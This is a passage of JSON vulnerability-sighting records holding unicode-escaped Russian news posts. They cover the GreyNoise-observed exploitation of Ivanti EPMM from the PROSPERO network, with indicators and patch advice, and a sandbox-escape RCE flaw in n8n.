\u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0438\u043b\u0438 \u043f\u0435\u0440\u0435\u043f\u0440\u043e\u0434\u0430\u0442\u044c \u0435\u0433\u043e \u0432 \u0431\u043b\u0438\u0436\u0430\u0439\u0448\u0435\u0435 \u0432\u0440\u0435\u043c\u044f.\n\n\u041f\u043e\u043b\u043d\u043e\u0435 \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0435 \u043a\u0430\u0436\u0434\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0438 \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u044b\u0445 \u0435\u044e \u0441\u0438\u0441\u0442\u0435\u043c - \u0437\u0434\u0435\u0441\u044c.", "creation_timestamp": "2026-02-11T11:40:52.000000Z"}, {"uuid": "bfb8f129-a15c-4867-b089-2cb0e29ac8cb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21962", "type": "exploited", "source": "https://t.me/true_secator/7908", "content": "GreyNoise \u0441\u043e\u043e\u0431\u0449\u0430\u0435\u0442 \u043e 417 \u0441\u0435\u0430\u043d\u0441\u0430\u0445 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043d\u0435\u0434\u0430\u0432\u043d\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 Ivanti Endpoint Manager Mobile (EPMM), \u0441\u043e\u0432\u0435\u0440\u0448\u0435\u043d\u043d\u044b\u0445 \u0441 8 IP \u0432 \u043f\u0435\u0440\u0438\u043e\u0434 1-9 \u0444\u0435\u0432\u0440\u0430\u043b\u044f, \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 346 (83% \u043e\u0442 \u0432\u0441\u0435\u0445 \u043f\u043e\u043f\u044b\u0442\u043e\u043a) \u043f\u0440\u0438\u0445\u043e\u0434\u0438\u043b\u0438\u0441\u044c \u043d\u0430 \u043e\u0434\u0438\u043d 193.24.123[.]42 \u0432 \u0445\u043e\u0441\u0442\u0438\u043d\u0433\u043e\u0432\u043e\u0439 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0435 PROSPERO.\n\n\u0412\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u0430\u044f \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u044c \u043d\u0430\u0446\u0435\u043b\u0435\u043d\u0430 \u043d\u0430 CVE-2026-1281\u00a0(CVSS: 9,8), \u043e\u0434\u043d\u0443 \u0438\u0437 \u0434\u0432\u0443\u0445 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 EPMM, \u043d\u0430\u0440\u044f\u0434\u0443 \u0441\u00a0CVE-2026-1340,\u00a0\u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u043c \u0434\u043b\u044f RCE.\n\n\u0412 \u043a\u043e\u043d\u0446\u0435 \u043f\u0440\u043e\u0448\u043b\u043e\u0433\u043e \u043c\u0435\u0441\u044f\u0446\u0430 Ivanti \u043f\u0440\u0438\u0437\u043d\u0430\u043b\u0430, \u0447\u0442\u043e \u00ab\u043e\u0447\u0435\u043d\u044c \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u043d\u043e\u0435 \u0447\u0438\u0441\u043b\u043e \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432\u00bb \u043f\u043e\u0441\u0442\u0440\u0430\u0434\u0430\u043b\u043e \u0432 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 0-day.\n\n\u0421 \u0442\u0435\u0445 \u043f\u043e\u0440 \u0440\u044f\u0434 \u0435\u0432\u0440\u043e\u043f\u0435\u0439\u0441\u043a\u0438\u0445 \u0433\u043e\u0441\u0441\u0442\u0440\u0443\u0443\u043a\u0442\u0443\u0440, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0423\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u043e \u0437\u0430\u0449\u0438\u0442\u0435 \u0434\u0430\u043d\u043d\u044b\u0445 \u041d\u0438\u0434\u0435\u0440\u043b\u0430\u043d\u0434\u043e\u0432 (AP), \u0421\u0443\u0434\u0435\u0431\u043d\u044b\u0439 \u0441\u043e\u0432\u0435\u0442, \u0415\u0432\u0440\u043e\u043f\u0435\u0439\u0441\u043a\u0443\u044e \u043a\u043e\u043c\u0438\u0441\u0441\u0438\u044e \u0438 \u0444\u0438\u043d\u0441\u043a\u0443\u044e \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044e Valtori, \u0441\u0442\u0430\u043b\u0438 \u0436\u0435\u0440\u0442\u0432\u0430\u043c\u0438 \u0430\u0442\u0430\u043a \u043d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0445 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u0445 \u044d\u0442\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438.\n\n\u0414\u0430\u043b\u044c\u043d\u0435\u0439\u0448\u0438\u0439 \u0430\u043d\u0430\u043b\u0438\u0437 \u043f\u043e\u043a\u0430\u0437\u0430\u043b, \u0447\u0442\u043e \u043d\u0430 \u0442\u043e\u0442 \u0436\u0435 \u0445\u043e\u0441\u0442 \u043e\u0434\u043d\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e \u043e\u0442\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u043b \u0442\u0440\u0438 \u0434\u0440\u0443\u0433\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432: CVE-2026-21962\u00a0(Oracle WebLogic) - 2902 \u0441\u0435\u0441\u0441\u0438\u0438; CVE-2026-24061\u00a0(GNU InetUtils telnetd) - 497 \u0441\u0435\u0430\u043d\u0441\u043e\u0432 \u0438 CVE-2025-24799\u00a0(GLPI) - 200 \u0441\u0435\u0430\u043d\u0441\u043e\u0432.\n\nIP \u043f\u0435\u0440\u0435\u043a\u043b\u044e\u0447\u0430\u0435\u0442\u0441\u044f \u043c\u0435\u0436\u0434\u0443 300 \u0443\u043d\u0438\u043a\u0430\u043b\u044c\u043d\u044b\u043c\u0438 \u0441\u0442\u0440\u043e\u043a\u0430\u043c\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0445 \u0430\u0433\u0435\u043d\u0442\u043e\u0432, \u043e\u0445\u0432\u0430\u0442\u044b\u0432\u0430\u044e\u0449\u0438\u043c\u0438 Chrome, Firefox, Safari \u0438 \u043c\u043d\u043e\u0436\u0435\u0441\u0442\u0432\u043e \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u043e\u0432 \u041e\u0421. \n\n\u041a\u0430\u043a \u043f\u043e\u043b\u0430\u0433\u0430\u044e\u0442 \u0432 GreyNoise, \u0442\u0430\u043a\u043e\u0435 \u0440\u0430\u0437\u043d\u043e\u043e\u0431\u0440\u0430\u0437\u0438\u0435 \u0444\u0438\u043d\u0433\u0435\u0440\u043f\u0440\u0438\u043d\u0442\u043e\u0432 \u0432 \u0441\u043e\u0447\u0435\u0442\u0430\u043d\u0438\u0438 \u0441 \u043e\u0434\u043d\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0435\u0439 \u0447\u0435\u0442\u044b\u0440\u0435\u0445 \u043d\u0435\u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0445 \u041f\u041e \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u0435\u0442 \u043f\u0440\u0438\u0437\u043d\u0430\u043a\u0430\u043c \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0442\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f.\n\n\u041f\u043e \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u043c \u0434\u0430\u043d\u043d\u044b\u043c, PROSPERO \u0441\u0432\u044f\u0437\u0430\u043d \u0441 \u0434\u0440\u0443\u0433\u043e\u0439 \u0430\u0432\u0442\u043e\u043d\u043e\u043c\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u043e\u0439 \u043f\u043e\u0434 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435\u043c Proton66, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u0430 \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u0435\u043c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0445 \u041f\u041e \u0434\u043b\u044f \u041f\u041a \u0438 Android, \u0432\u043a\u043b\u044e\u0447\u0430\u044f GootLoader, Matanbuchus, SpyNote, Coper (Octo) \u0438 SocGholish.\n\nGreyNoise \u0442\u0430\u043a\u0436\u0435 \u043e\u0442\u043c\u0435\u0442\u0438\u043b\u0430, \u0447\u0442\u043e \u0432 85% \u0441\u043b\u0443\u0447\u0430\u0435\u0432 \u0430\u0442\u0430\u043a\u0438 \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043b\u044f\u043b\u0430\u0441\u044c \u0447\u0435\u0440\u0435\u0437 DNS \u0434\u043b\u044f \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u044f \u0442\u043e\u0433\u043e, \u0447\u0442\u043e \"\u0446\u0435\u043b\u044c \u043f\u0440\u0438\u0433\u043e\u0434\u043d\u0430 \u0434\u043b\u044f \u0430\u0442\u0430\u043a\u0438\", \u0431\u0435\u0437 \u0440\u0430\u0437\u0432\u0435\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u041f\u041e \u0438\u043b\u0438 \u043a\u0440\u0430\u0436\u0438 \u0434\u0430\u043d\u043d\u044b\u0445.\n\n\u0421\u0442\u043e\u0438\u0442 \u043e\u0442\u043c\u0435\u0442\u0438\u0442\u044c, \u0447\u0442\u043e \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0434\u043d\u0435\u0439 \u0440\u0430\u043d\u0435\u0435 Defused Cyber \u0442\u0430\u043a\u0436\u0435 \u0441\u043e\u043e\u0431\u0449\u0438\u043b\u0430 \u043e \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u0438 \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u00ab\u0441\u043f\u044f\u0449\u0435\u0439 \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0438\u00bb, \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0432 \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440\u044b EPMM \u043f\u043e \u043f\u0443\u0442\u0438 /mifs/403.jsp \u0431\u044b\u043b \u0440\u0430\u0437\u0432\u0435\u0440\u043d\u0443\u0442 \u043d\u0435\u0430\u043a\u0442\u0438\u0432\u043d\u044b\u0439 \u0437\u0430\u0433\u0440\u0443\u0437\u0447\u0438\u043a \u043a\u043b\u0430\u0441\u0441\u043e\u0432 Java \u0432 \u043e\u043f\u0435\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0439 \u043f\u0430\u043c\u044f\u0442\u0438. \n\n\u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u043e\u0431\u0440\u0430\u0442\u043d\u044b\u0435 \u0432\u044b\u0437\u043e\u0432\u044b OAST \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u044e\u0442 \u043d\u0430 \u0442\u043e, \u0447\u0442\u043e \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u044f \u043d\u0430\u0446\u0435\u043b\u0435\u043d\u0430 \u043d\u0430 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0438\u0437\u0430\u0446\u0438\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0445 \u0446\u0435\u043b\u0435\u0439, \u0431\u0435\u0437 \u0440\u0430\u0437\u0432\u0435\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u044f \u043f\u043e\u043b\u0435\u0437\u043d\u044b\u0445 \u043d\u0430\u0433\u0440\u0443\u0437\u043e\u043a, \u0447\u0442\u043e \u043c\u043e\u0436\u0435\u0442 \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u0442\u044c \u043d\u0430 \u043f\u0440\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u0435 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u043f\u0435\u0440\u0432\u043e\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430.\n\n\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c Ivanti EPMM \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u043e\u0432\u0430\u043b\u0438 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u043f\u0430\u0442\u0447\u0438, \u043f\u0440\u043e\u0432\u0435\u0441\u0442\u0438 \u0430\u0443\u0434\u0438\u0442 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b MDM, \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e\u0439 \u0438\u0437 \u0438\u043d\u0442\u0435\u0440\u043d\u0435\u0442\u0430, \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c \u0436\u0443\u0440\u043d\u0430\u043b\u044b DNS \u043d\u0430 \u043f\u0440\u0435\u0434\u043c\u0435\u0442 \u043e\u0431\u0440\u0430\u0442\u043d\u044b\u0445 \u0432\u044b\u0437\u043e\u0432\u043e\u0432 \u043f\u043e \u0448\u0430\u0431\u043b\u043e\u043d\u0443 OAST, \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0442\u044c \u043f\u0443\u0442\u044c /mifs/403.jsp \u043d\u0430 \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440\u0430\u0445 EPMM \u0438 \u0437\u0430\u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0430\u0432\u0442\u043e\u043d\u043e\u043c\u043d\u0443\u044e \u0441\u0438\u0441\u0442\u0435\u043c\u0443 PROSPERO (AS200593) \u043d\u0430 \u0443\u0440\u043e\u0432\u043d\u0435 \u043f\u0435\u0440\u0438\u043c\u0435\u0442\u0440\u0430 \u0441\u0435\u0442\u0438.\n\n\u0412 \u0441\u0432\u043e\u044e \u043e\u0447\u0435\u0440\u0435\u0434\u044c, Ivanti \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u0438\u043b\u0430 \u00ab\u0432\u044b\u0441\u043e\u043a\u043e\u0442\u043e\u0447\u043d\u044b\u0435\u00bb IOCs, \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0430\u043d\u0430\u043b\u0438\u0437 \u043d\u0430 \u043c\u043e\u043c\u0435\u043d\u0442 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u044f \u0443\u0433\u0440\u043e\u0437, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0441\u043a\u0440\u0438\u043f\u0442 \u0434\u043b\u044f \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u044f \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u0432, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0431\u044b\u043b \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0430\u043d \u0441\u043e\u0432\u043c\u0435\u0441\u0442\u043d\u043e \u0441 NCSC-NL \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 \u043f\u0440\u043e\u0442\u0438\u0432\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0438 \u044d\u0442\u043e\u0439 \u0443\u0433\u0440\u043e\u0437\u0435. \u0418, \u0435\u0449\u0435 \u043d\u043e\u0432\u044b\u0439 \u043c\u0435\u0440\u0447 \u0441 \u043a\u043e\u0440\u0438\u0447\u043d\u0435\u0432\u044b\u043c \u043e\u0442\u0442\u0435\u043d\u043a\u043e\u043c.", "creation_timestamp": "2026-02-13T12:00:09.000000Z"}, {"uuid": "50e2406a-89a8-4e1b-85eb-44c8b5b8ad1e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21858", "type": "published-proof-of-concept", "source": "https://t.me/true_secator/7881", "content": "\u0412 n8n \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u044b \u043c\u043d\u043e\u0433\u043e\u0447\u0438\u0441\u043b\u0435\u043d\u043d\u044b\u0435 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0438\u0435 \u0432\u044b\u0439\u0442\u0438 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u044b \u0441\u0440\u0435\u0434\u044b \u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u043e\u043b\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043d\u0430\u0434 \u0445\u043e\u0441\u0442-\u0441\u0435\u0440\u0432\u0435\u0440\u043e\u043c.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u043e\u0442\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u043c\u044b\u0435 \u0432 \u0441\u043e\u0432\u043e\u043a\u0443\u043f\u043d\u043e\u0441\u0442\u0438 \u043a\u0430\u043a CVE-2026-25049, \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u044b \u043b\u044e\u0431\u044b\u043c \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c, \u0438\u043c\u0435\u044e\u0449\u0438\u043c \u043f\u0440\u0430\u0432\u043e \u0441\u043e\u0437\u0434\u0430\u0432\u0430\u0442\u044c \u0438\u043b\u0438 \u0440\u0435\u0434\u0430\u043a\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0440\u0430\u0431\u043e\u0447\u0438\u0435 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u044b, \u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f RCE \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435 n8n.\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0441\u0440\u0430\u0437\u0443 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u0438\u0445 \u0418\u0411-\u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0439 \u0441\u043e\u043e\u0431\u0449\u0438\u043b\u0438 \u043e \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430\u0445, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0441\u0432\u044f\u0437\u0430\u043d\u044b \u0441 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u043e\u043c \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u043f\u043e\u0434\u043b\u0438\u043d\u043d\u043e\u0441\u0442\u0438 n8n \u0438 \u0444\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u043e\u0431\u0445\u043e\u0434\u044f\u0442 \u043f\u0430\u0442\u0447 \u0434\u043b\u044f CVE-2025-68613, \u0435\u0449\u0435 \u043e\u0434\u043d\u043e\u0439 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u043e\u0439 20 \u0434\u0435\u043a\u0430\u0431\u0440\u044f.\n\n\u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c Pillar Security, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 CVE-2026-25049 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440 n8n \u0438 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0445 \u043a\u043e\u043c\u0430\u043d\u0434 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435, \u043a\u0440\u0430\u0436\u0438 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445, \u0441\u0435\u043a\u0440\u0435\u0442\u043e\u0432 (\u043a\u043b\u044e\u0447\u0435\u0439 API, \u0442\u043e\u043a\u0435\u043d\u043e\u0432 OAuth) \u0438 \u0444\u0430\u0439\u043b\u043e\u0432 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438.\n\n\u0418\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0442\u0430\u043a\u0436\u0435 \u0441\u043c\u043e\u0433\u043b\u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0444\u0430\u0439\u043b\u043e\u0432\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u0438 \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0438\u043c \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u043c, \u043f\u0435\u0440\u0435\u0445\u0432\u0430\u0442\u0438\u0442\u044c \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u043d\u044b\u0435 \u043e\u0431\u043b\u0430\u0447\u043d\u044b\u0435 \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0437\u0430\u043f\u0438\u0441\u0438 \u0438 \u043f\u0435\u0440\u0435\u0445\u0432\u0430\u0442\u0438\u0442\u044c \u0440\u0430\u0431\u043e\u0447\u0438\u0435 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u044b \u0418\u0418.\n\n\u041f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 n8n \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 \u043c\u043d\u043e\u0433\u043e\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0443\u044e \u0441\u0440\u0435\u0434\u0443, \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0438\u043c \u043a\u043b\u0430\u0441\u0442\u0435\u0440\u043d\u044b\u043c \u0441\u0435\u0440\u0432\u0438\u0441\u0430\u043c \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u043f\u0435\u0440\u0435\u043a\u043b\u044e\u0447\u0430\u0442\u044c\u0441\u044f \u043d\u0430 \u0434\u0430\u043d\u043d\u044b\u0435 \u0434\u0440\u0443\u0433\u0438\u0445 \u0430\u0440\u0435\u043d\u0434\u0430\u0442\u043e\u0440\u043e\u0432.\n\n\u041f\u0440\u0438\u0447\u0435\u043c, \u043a\u0430\u043a \u043e\u0442\u043c\u0435\u0447\u0430\u0435\u0442 \u0432 Pillar Security, \u0434\u043b\u044f \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u0430\u0442\u0430\u043a\u0438 \u043d\u0435 \u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f \u043d\u0438\u0447\u0435\u0433\u043e \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e\u0433\u043e: \u0435\u0441\u043b\u0438 \u0432\u044b \u0441\u043c\u043e\u0436\u0435\u0442\u0435 \u0441\u043e\u0437\u0434\u0430\u0442\u044c \u0440\u0430\u0431\u043e\u0447\u0438\u0439 \u043f\u0440\u043e\u0446\u0435\u0441\u0441, \u0432\u044b \u0441\u043c\u043e\u0436\u0435\u0442\u0435 \u0437\u0430\u0445\u0432\u0430\u0442\u0438\u0442\u044c \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043d\u0430\u0434 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u043c.\n\n21 \u0434\u0435\u043a\u0430\u0431\u0440\u044f 2025 \u0433\u043e\u0434\u0430 Pillar \u043f\u0440\u043e\u0434\u0435\u043c\u043e\u043d\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043b\u0430 \u043a\u043e\u043c\u0430\u043d\u0434\u0435 n8n \u0446\u0435\u043f\u043e\u0447\u043a\u0443 \u043e\u0431\u0445\u043e\u0434\u043d\u044b\u0445 \u043f\u0443\u0442\u0435\u0439, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0443\u044e \u0432\u044b\u0439\u0442\u0438 \u0438\u0437 \u043f\u0435\u0441\u043e\u0447\u043d\u0438\u0446\u044b \u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0433\u043b\u043e\u0431\u0430\u043b\u044c\u043d\u043e\u043c\u0443 \u043e\u0431\u044a\u0435\u043a\u0442\u0443 Node.js, \u0447\u0442\u043e \u043f\u0440\u0438\u0432\u0435\u043b\u043e \u043f\u043e \u0438\u0442\u043e\u0433\u0443 \u043a RCE.\n\n\u0418\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0431\u044b\u043b\u043e \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u043e \u0434\u0432\u0430 \u0434\u043d\u044f \u0441\u043f\u0443\u0441\u0442\u044f, \u043d\u043e \u0432 \u0445\u043e\u0434\u0435 \u0434\u0430\u043b\u044c\u043d\u0435\u0439\u0448\u0435\u0433\u043e \u0430\u043d\u0430\u043b\u0438\u0437\u0430 Pillar \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0430 \u0435\u0433\u043e \u043d\u0435\u043f\u043e\u043b\u043d\u043e\u0442\u0443, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u0432\u0442\u043e\u0440\u043e\u0439 \u0441\u043f\u043e\u0441\u043e\u0431 \u043e\u0431\u0445\u043e\u0434\u0430 \u0437\u0430\u0449\u0438\u0442\u044b \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0434\u0440\u0443\u0433\u043e\u0433\u043e \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u0430 \u043d\u0430 \u043e\u0441\u043d\u043e\u0432\u0435 